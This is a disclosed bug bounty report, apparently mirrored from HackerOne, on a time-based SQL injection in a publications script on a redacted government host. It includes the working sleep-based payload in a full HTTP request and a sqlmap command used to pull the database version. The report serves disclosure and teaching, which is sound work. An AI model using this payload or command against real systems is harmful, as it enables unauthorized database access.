Skip to content
SQL injection Disclosed report Intermediate

SQL Injection in the `move_papers.php` on the https://██████████

A time-based SQL injection existed in the pub_group_id parameter of a publications script, allowing an attacker to delay responses and extract database information. The reporter confirmed it by retrieving the database version banner.

sp1d3rs Follow

Originally disclosed on HackerOne

  • Triaged in 13 hours
  • Fixed in 13 months
  • Disclosed after 17 months

##Description Hello. I was able to find another one Time-based SQLI on the https://██████████/pubs/move_papers.php using pub_group_id parameter.

This is my third SQLi (and probably the last one) found on this host. I wasn't able to detect more, but due to the big number of high impact issues found I also recommend to do internal audit of this host to determine other potential issues I could skip. I have feeling that more endpoints can be affected by the sql injection, I just didn't find them all. I'll continue my research and will report other vulnerabilities if I find any.

For the start, by bruteforcing files in the /pubs/ directory, I came across this script: https://████████/pubs/move_papers.php ██████████ I was able to determine the parameter pub_group_id (similar sqli through this parameter was found and reported earlier in other script - get_publications.php in #489483 )

##POC

GET /pubs/move_papers.php?pub_group_id=a'%2b(select*from(select(sleep(5)))a)%2b' HTTP/1.1
Host: █████████
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en,ru;q=0.9,en-US;q=0.8,uk;q=0.7
Cookie: ███████


This request will trigger the 5 sec delay of the response. By making sleep value as 10, request will be delayed for 10 seconds. As additional POC, that attacker is able to extract data, and it's not a false-positive, I retrieved DB banner (version) only using sqlmap command:

sqlmap.py -r test.txt --dbms=mysql --technique=T -p pub_group_id --banner --force-ssl --level=5

where test.txt is a text file contained request dump: ████ Result:

5.5.62-0ubuntu0.14.04.1

█████ No sensitive data such as databases, tables, or content was accessed.

Impact

SQL injection usually have high or critical impact.

The original report as published on HackerOne, by sp1d3rs. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the pub_group_id parameter was concatenated into a SQL query without proper parameterisation or escaping.

Impact

An attacker could extract database information, and the reporter notes SQL injection usually has high or critical impact, though no sensitive data was accessed in this test.

What the attacker needed

Access to the web endpoint; no authentication stated

How it was found

  1. Brute-force files in the /pubs/ directory to find scripts.
  2. Identify the pub_group_id parameter as injectable.
  3. Send a request with a time-delay payload and observe the response delay.
  4. Use sqlmap to confirm data extraction by retrieving the database banner.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A SQL injection is when user input is placed into a database query without being treated as plain data, so the input can change the query itself. Here the input was put into a query in a way that let the attacker make the database wait, which proves the injection works and can be used to read data.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by sp1d3rs

View all

62 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.